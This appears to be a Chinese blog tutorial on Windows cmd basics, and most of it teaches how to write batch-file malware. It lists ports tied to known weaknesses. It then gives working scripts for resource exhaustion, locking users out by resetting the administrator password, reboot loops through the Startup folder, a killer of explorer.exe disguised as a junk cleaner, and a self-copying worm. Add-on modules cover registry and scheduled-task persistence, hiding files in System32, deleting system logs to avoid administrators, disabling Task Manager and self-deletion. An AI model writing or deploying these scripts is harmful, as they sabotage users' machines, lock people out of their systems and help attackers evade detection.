首页 > 系统相关 >Windows基础及bat蠕虫病毒编写

Windows基础及bat蠕虫病毒编写

时间:2024-11-19 12:14:24浏览次数:3  
标签:bat DIR% Windows worm echo %% 蠕虫 txt

常见端口及其服务
21 ftp
23 talnet
80 web  80-89都可能
443 ssl  有过心脏滴血漏洞
445 msb
1433 mssql
1521 oracle
2082/3 主机管理系统登录(国外用的多)
2222 da虚拟主机管理系统登录(国外较多)
3128 squid代理默认端口-漫游内网
3306 mysql
3311/2 kangle主机管理系统登录
3389 远程桌面
5432 postgraSQL
5900 vnc  有空密码漏洞
6379 redis(未授权)
7001/2 weblogic 默认弱口令,反序列化
7778 kloxo 主机控制面板登录
8000-9000 一些常见web端口
8080 tomcat wdcp主机管理系统,默认弱口令
8083 vesttacp 主机管理系统(国外较多)
8080 8089 9090 jboss
8649 ganglia
8888 宝塔主机管理默认端口
10000 virtuamin/webmin服务器虚拟主机管理系统
11211 memcache 未授权访问
27017/8 mongodb未授权 访问
28017 mongodb统计系统页面
常见cmd命令

1.echo

echo /?  查看帮助文档
echo 1  输出1
echo 1 > 1.txt 输出1,并重定向到1.txt文件 (会覆盖原文件)
echo 111 >> 1.txt 把内容追加到1.txt
echo %Path%  输出环境变量

2.dir 展示当前目录文件

3.cd

c:  或d:   直接切换到c或d盘
cd . 进入当前目录
cd .. 进入上一级目录 (cd ../也可以)
cd /文件夹  

4.tree 树状图输出当前目录文件

5.md(mkdir的缩写,用哪个都可以)

md  xxx  创建文件夹
rd xxx  删除文件夹
tab 补全功能 例如 rd k (tab)

6.cls清屏

7.copy

copy 1.txt ../2.txt 把1.txt复制到上一级的2.txt中
copy 1.txt+2.txt > 3.txt 1 2拼接写入到3.txt中

8.move

move ..\1.txt 4.txt  把上一级目录的1.txt移动到当前目录并命名为4.txt

9.ren(rename)

rename a.txt b.txt 把a.txt重命名为b.txt

10.del 永久删除删除

del 1.txt 2.txt 3.txt  删除这三个文件

11.ping

用于探测主机ip是否存活
ping /?查看帮助文档

12.type 显示文本文件内容

type 1.txt 查看1.txt中内容

13.reg(注册表)

reg /?查看帮助文档

14.nslookup 探测域名信息

nslookup www.baidu.com
nslookup -d www.baidu.com 查看历史解析记录

15.find 查找

find "a" 1.txt 查看1.txt中带a的字段

type与find结合
type 1.txt | find "a"  查看1.txt内容并输出带有a的字段
type 1.txt | find "a" /N 并排序行号

16.tasklist 任务列表,显示出当前进程名称等信息

17.taskkill 杀死进程

tasklist /? 查看帮助文档
常使用/pid   /f 指定强制终止进程  /t终止指定的进程和由它启用的子进程。    
首先开启一个calc进程,然后tasklist查看进程的pid,使用taskkill /pid 3760 

18.ver winver 查看系统版本

19.start 启动命令

start cmd
start calc
start ping www.baidu.com(再看一个终端)

20.systeminfo 查看整个系统的信息
查看一些重要信息,比如补丁信息等。如果发现少打了哪个补丁,就可以利用少打的补丁进行提权

21.logoff 注销

如果远程登录3389桌面的话,可以用这个命令把对方的远程登陆注销掉

22.shutdown 关机

/s 在一分钟内关机
/a 计划取消
/r 重启
/g 在一分钟内重启
/r /t 0   -t设置时间 设置为0立即执行

23.telnet 协议工具

24.arp

arp -a 查看内网中有哪些主机

25.at 定时任务

例如 at 时间 "shutdown /r /t 0"
at 1 /delete  取消

26.net 服务

net start/stop telnet  开启/关闭telnet服务
net user 查看当前用户
net user administrator 查看管理员用户权限
net user admin 123 /add  添加admin用户,密码为123  需在管理员权限下进行
net localgroup administrator admin /add  提权
net user admin 查看admin用户权限
net user admin /delete 删除admin用户

27.attrib 操作文件和目录

+s参数可将文件标记为系统文件
+h参数可将文件隐藏
编写bat病毒

1.资源耗尽病毒 会无限弹出cmd弹窗

echo start cmd > 1.txt
echo %0 >> 1.txt    %0的作用是在文件内部引用它自己
rename 1.txt 1.bat

即1.bat内容

start cmd
%0

2.锁机病毒

echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shudown /s /t 0 >> c:\windows\Temp\1.bat

即1.bat内容

net user administrator 123456
shudown /s /t 0

解析:将administrator用户密码改为123456。然后再将电脑重启,由于密码已经被修改,之前那个用户就登不上去了,电脑就会一直重启

3.无限重启病毒

echo shutdown /r /t 0 > c:\windows\Temp\1.bat
copy c:\windows\temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"

%USERPROFILE%需要替换成对应用户的目录,例如:C:\Users\lvy

即1.bat内容

shutdown /s /t 0

解析:首先编写一个立即重启的bat,然后复制到系统的启动文件夹中。由于启动项里有这个脚本,电脑每次重启之后,这个bat脚本也会随之运行,进入无限循环

windows系统目录接管与渗透的关系

"%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"(开机自启目录)
任何放置在该文件夹的程序或脚本都会在用户登录后自动运行

4.杀死资源管理器

echo taskkill -im explorer.exe -f > 1.bat    #-im是-imagename缩写,指定要终止任务的进程名称  -f是强制关闭

即1.bat内容

taskkill -im explorer.exe -f

可以把这个文件也写到启动项里面

echo taskkill -im explorer.exe -f > 1.bat
copy 1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"

伪装

@echo off   #关闭命令回显
title 系统垃圾清理
color 1f
echo 	=====若有杀毒软件恶意拦截,请选择【允许程序的所有操作】====
echo.
echo.
echo.
echo 	=====垃圾清理中,请不要关闭窗口=========
echo.
ping -n 5 127.0.0.1>nul
taskkill /im explorer.exe /f >nul 2>nul
echo.
echo 	=====拐了,你的系统已经废了=======
echo.
ping -n 5 127.0.0.1>nul
echo.
Start c:\windows\explorer.exe
echo.
echo 	=====已经修复好!是不是吓坏了!!O(∩_∩)O==========
pause

5.蓝屏 (winxp及更古老的版本才能使用)

echo taskkill /F /IM winlogon.exe > 1.bat表示强制杀死进程   
copy 1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\"
蠕虫病毒

例1

@echo off
setlocal enabledelayedexpansion

set WORM_FILE=worm.bat

if not "%~nx0"=="%WORM_FILE%" (
    echo This is not the worm file.
    goto end
)

echo Starting the worm simulation...

:: 循环复制自身到其他目录
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
    if exist %%d: (
        if not exist %%d:\%WORM_FILE% (
            copy "%~f0" "%%d:\%WORM_FILE%"
            echo Copied worm to %%d:\
        )
    )
)

:end
echo Worm simulation ended.
endlocal

分析

1、@echo off的作用是关闭回显功能。(确切一点应该是关闭回显命令本身)

在bat文件中,每次执行命令都会将命令本身和结果进行回显,加上这句之后的命令本身就不会再进行回显,只具有输出功能

例如:

@echo off
echo 666
echo end
pause
与
echo 666
echo end
pause

在这里插入图片描述
在这里插入图片描述

2、setlocal enabledelayedexpansion作用是拓展本地环境变量延迟(把单词拆开理解就是设置 本地 能够 延迟的拓展)
当使用了该命令之后,代码块中的变量需要使用!而不是%来引用

变量识别:cmd执行指令前会对脚本进行预编译,其中一个过程就是变量识别(即识别被两个%%括起来的变量),查找这个值并替换掉这个变量

为什么要进行变量延迟?
例如:

@echo off
for /l %%i in (1,1,5) do (    #bat文件中循环变量前要使用%%,在命令行中使用%
    set var=%%i
    echo %var%
)
pause         

都无法输出
在这里插入图片描述

@echo off
set var=test & echo %var%
echo %var%
pause

只输出了第二条语句
在这里插入图片描述

原因是我们所set的变量不是立刻更新的,是以单位语句进行更新,当我们没执行这条语句之前,我们设置的变量还没生效。

因此只需要将%%替换为!!,再添加setlocal ENABLEDELAYEDEXPANSION,即可正常输出

@echo off
setlocal ENABLEDELAYEDEXPANSION
set var=test & echo !var!
echo %var%
pause

在这里插入图片描述

3、set WORM_FILE=worm.bat设置一个名为worm.bat的变量

4、

if not "%~nx0"=="%WORM_FILE%" (
    echo This is not the worm file.
    goto end
)

这段代码的作用是检查当前执行的文件名是否与worm.bat匹配,如果不匹配,即输出该句话,并且跳转到end标签结束执行。%~nx0(批处理指令)作用是提取出文件的名称和拓展名

5、echo Starting the worm simulation...显示信息

6、自我复制

for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
    if exist %%d: (
        if not exist %%d:\%WORM_FILE% (
            copy "%~f0" "%%d:\%WORM_FILE%"
            echo Copied worm to %%d:\
        )
    )
)

这段代码的作用是遍历从c-z盘,%%d是循环中的盘符变量。如果存在该盘符,并且该盘符中没有该蠕虫文件,将当前蠕虫文件复制到目标盘符下,并且命名为worm.bat。最后输出一句复制到所在的路径。

7、

:end
echo Worm simulation ended.
endlocal

:end用来标志代码结束,endlocal的作用是结束setlocal命令的作用域,恢复环境变量的原始值。

例2

@echo off
setlocal enabledelayedexpansion

:: 设置源目录和目标目录
set SOURCE_DIR=C:\Users\%USERNAME%\Documents
set BACKUP_DIR=C:\Users\%USERNAME%\Backup

:: 检查目标备份目录是否存在,如果不存在则创建
if not exist "%BACKUP_DIR%" (
    mkdir "%BACKUP_DIR%"
    echo Created backup directory: %BACKUP_DIR%
)

:: 检查源目录是否存在
if not exist "%SOURCE_DIR%" (
    echo Source directory does not exist: %SOURCE_DIR%
    goto end
)

:: 进入源目录
cd /d "%SOURCE_DIR%"

:: 遍历源目录中的所有文件
for %%f in (*) do (
    set "FILE_PATH=%%f"
    if not exist "%BACKUP_DIR%\%%~nxf" (
        echo Backing up file: !FILE_PATH!
        copy "!FILE_PATH!" "%BACKUP_DIR%\%%~nxf"
    ) else (
        echo File already backed up: %%f
    )
)
:end
echo Backup process completed.
endlocal

1、

set SOURCE_DIR=C:\Users\%USERNAME%\Documents设置源目录
set BACKUP_DIR=C:\Users\%USERNAME%\Backup设置目标目录(存放备份文件)

if not exist "%BACKUP_DIR%" (
    mkdir "%BACKUP_DIR%"
    echo Created backup directory: %BACKUP_DIR%
)

2、检查目标目录备份文件是否存在,如果不存在就创建,并且回显路径。

if not exist "%SOURCE_DIR%" (
    echo Source directory does not exist: %SOURCE_DIR%
    goto end
)

3、检查源目录是否存在,如果不存在就跳转到:end
4、cd /d "%SOURCE_DIR%"进入到源目录

5、循环遍历源目录中的所有文件(不包括子目录)

for %%f in (*) do (
    set "FILE_PATH=%%f"
    if not exist "%BACKUP_DIR%\%%~nxf" (
        echo Backing up file: !FILE_PATH!
        copy "!FILE_PATH!" "%BACKUP_DIR%\%%~nxf"
    ) else (
        echo File already backed up: %%f
    )
)

%%f指当前文件名称,set "FILE_PATH=%%f"将文件路径保存到FILE_PATH
if not exist "%BACKUP_DIR%\%%~nxf"检查目标备份目录中是否存在同名文件。%%~nxf作用是提取文件名和拓展名。如果不存在该文件就将这个文件复制到目标备份目录。

其他可以添加的模块示例:(加入到前面的例子中即可)
1、添加到启动项

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v worm /t REG_SZ /d YourWormPath

reg用于操作注册表,add作用是添加一个新的注册表项,HKCU\Software\Microsoft\Windows\CurrentVersion\Run是存储windows用户登录时启动程序的地方,该目录下的条目会在用户登录时执行。
/v参数指定要添加或修改的注册表名称,worm是即将创建的蠕虫病毒的名称。

/t参数指定数据类型 ,REG_SZ是字符串类型

/d参数指定写入注册表值的内容,YourWormPath即为你要添加的蠕虫病毒

2、 模拟在开机自启目录放置恶意程序

echo Creating a simulated startup entry...
if not exist "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\simulated_malware.bat" (
    echo @echo off > "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\simulated_malware.bat"
    echo echo Simulated malware running >> "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\simulated_malware.bat"
    echo pause >> "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\simulated_malware.bat"
    echo Simulated malware created in startup directory.
)

3、模拟在临时目录放置恶意脚本

echo Creating a simulated temporary script...
if not exist "C:\Windows\Temp\simulated_temp_malware.bat" (
    echo @echo off > "C:\Windows\Temp\simulated_temp_malware.bat"
    echo echo Simulated temporary malware running >> "C:\Windows\Temp\simulated_temp_malware.bat"
    echo pause >> "C:\Windows\Temp\simulated_temp_malware.bat"
    echo Simulated temporary malware created in Temp directory.
)

4、恶意删除日志文件

del C:\Windows\System32\LogFiles\*.*

删除系统日志文件,避免被管理员查到

5、桌面黑屏

taskkill /IM explorer.exe /F

关掉文件管理器的进程

6、隐藏执行痕迹

attrib +h C:\xxx\worm.bat

attrib用于修改文件和目录属性,+h参数作用是隐藏属性。执行该命令之后在文件资源管理器中不会显示(除非开了显示隐藏文件)

7、将恶意程序放到系统文件夹并设置为系统文件

copy C:\xxx\worm.bat C:\Windows\System32\worm.bat
attrib +s +h C:\Windows\System32\worm.bat

将蠕虫病毒复制到系统文件夹System32中,并使用+s参数将该文件标记为系统文件(因为系统文件通常会被windows保护)

8、修改系统环境变量

setx PATH "%PATH%;C:\xxx\worm.bat"

将该蠕虫文件添加到系统PATH变量中,使程序在任何地方都可以执行

9、修改注册表来禁用任务管理器

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f

"Policies\System" 子项下有许多与系统控制相关的设置,包括一些与安全和用户权限管理相关的设置。
/v参数添加注册表值的名称,/t参数指定数据类型,REG_DWORD表示32位数字
/d参数指定键值的具体数据,1是要为 "DisableTaskMgr" 赋的值,1的意思是启动禁用任务管理器
/f参数表强制执行,如果该值存在会进行覆盖已有值

10、创建定时任务,周期性执行恶意操作

schtasks /create /tn "MalwareTask" /tr "C:\path\to\worm.bat" /sc daily /st 00:00

schtasks命令用于创建、配置、管理计划任务。/create参数创建一个新的任务计划,/tn参数指定计划任务名称
/tr参数指定要运行的脚本或程序。/sc参数设置任务触发的频率,daily指每天执行一次,/st设置每天任务首次执行的时间

11、自我删除操作

del "%~f0"

完成某些恶意操作之后,自我删除,避免被用户发现。%~f0是当前脚本的完整路径

12、显示虚假警告

echo You have a critical system error! > C:\Windows\Temp\error_message.txt
notepad C:\Windows\Temp\error_message.txt

命令会创建一个txt文件,使用notepad打开它,显示“系统错误”的警告信息,分散用户注意力

标签:bat,DIR%,Windows,worm,echo,%%,蠕虫,txt
From: https://blog.csdn.net/2301_79469341/article/details/143830923

相关文章

  • format 命令是 Windows 操作系统中的一个命令行工具,用于格式化磁盘、分区或驱动器。格
     format|MicrosoftLearn format命令是Windows操作系统中的一个命令行工具,用于格式化磁盘、分区或驱动器。格式化过程会清除磁盘上的所有数据,并准备磁盘用于存储文件。它可以通过命令提示符(CMD)或者PowerShell来执行。format 命令的功能:清除数据:格式化磁盘会删除该......
  • WindowsRabbitMQ配置
    一、安装Erlang(1)安装地址下载地址:https://www.erlang.org/downloads(2)设置环境变量  新建 ERLANG_HOME (3)修改环境变量path,增加Erlang变量至path ,%ERLANG_HOME%\bin (4)打开cmd命令框,输入erl 二、安装rabbitmq (1)安装地址下载地址:http://www.rabbitmq......
  • Python用subprocess管理子进程在Windows平台实现平行效果
    在Python中,使用subprocess模块管理子进程时,如果你在Windows平台上尝试实现类似于Unix系统的“平行效果”(即父子进程可以同时运行),你可能会遇到一些问题。在Unix系统中,子进程是独立于父进程的,它们可以同时运行。但在Windows系统中,当你使用subprocess创建子进程时,默认情况下会存在父......
  • Windows注册表中 %1 %2 %3 %4 %D %L %V %W作用说明
    前言全局说明Windows注册表中%1%2%3%4%D%L%V%W作用说明一、说明环境:Windows11家庭版23H222631.3737二、变量说明-图片版三、变量说明-文字版参数说名%1文件路径%2系统默认的打印机%3文件扇区%4端口%D文件路径%L文件长......
  • Windows 注册表修改 新建文件夹 默认名称
    前言全局说明Windows注册表修改新建文件夹默认名称一、说明环境:Windows11家庭版23H222631.3737二、修改注册表2.1找到路径HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer2.2在Explorer上右键,新建项,增加个子项新建-项,命名为N......
  • 三种方法教你下载 Windows 10 和 Windows 11 原生镜像
    方法一:通过微软官网下载下载Windows11镜像打开微软官网下载页面访问微软官网的 Windows11下载页面。选择下载选项在页面中找到 下载Windows11磁盘映像(ISO) 部分。选择 Windows11 ISO下载方式。选择语言在语言选项中选择 简体中文,然后点击 ......
  • Mybatis Plus保姆级教程 (一学就会!!!)
    目录一、概述二、框架结构2.1框架剖析2.2基本使用2.2.1创建Mapper接口2.2.2测试三、常用注解[email protected]@TableField3.2.1exist3.2.2select3.2.3fill3.3@TableId3.3.1value3.3.2typeNONEINPUT​​​​​​​AUTOASSIGN_ID和ASSIGN_UUI......
  • API13Bate版来了DevEco已更新快来看新功能吧
    HarmonyOS5.0.1Beta3,是HarmonyOS开发套件基于API13正式发布的首个Beta版本。该版本在OS能力上主要增强了CAPI的相关能力,多个特性补充了CAPI供开发者使用。OS平台能力增加首先是系统能力增加了,这次增加了很多C接口能力,像我们用得比较多的场景有:Ability组件中元能力新增CAPI......
  • 01MybatisPlus(SpringCloud入门必学!!!!微服务!!项目实战!!深度理解MP用法!!!)
    微服务springCloud,今天第一课就是MybatisPlus!!!大家在日常开发中应该能发现,单表的CRUD功能代码重复度很高,也没有什么难度。而这部分代码量往往比较大,开发起来比较费时。        因此,目前企业中都会使用一些组件来简化或省略单表的CRUD开发工作。目前在国内使用较多的......
  • Windows 右键新建文件添加指定后缀-bat批处理-c文件
    前言全局说明一、说明环境:Windows7旗舰版二、添加,创建.bat后缀文件在命令行里执行下面两条命令regaddHKCR\.bat\ShellNew/vnullfile/f>nulregaddHKCR\batfile/ve/dBAT批处理文件/f>nul三、添加,创建.c后缀文件regaddHKCR\.c\ShellNew/vnu......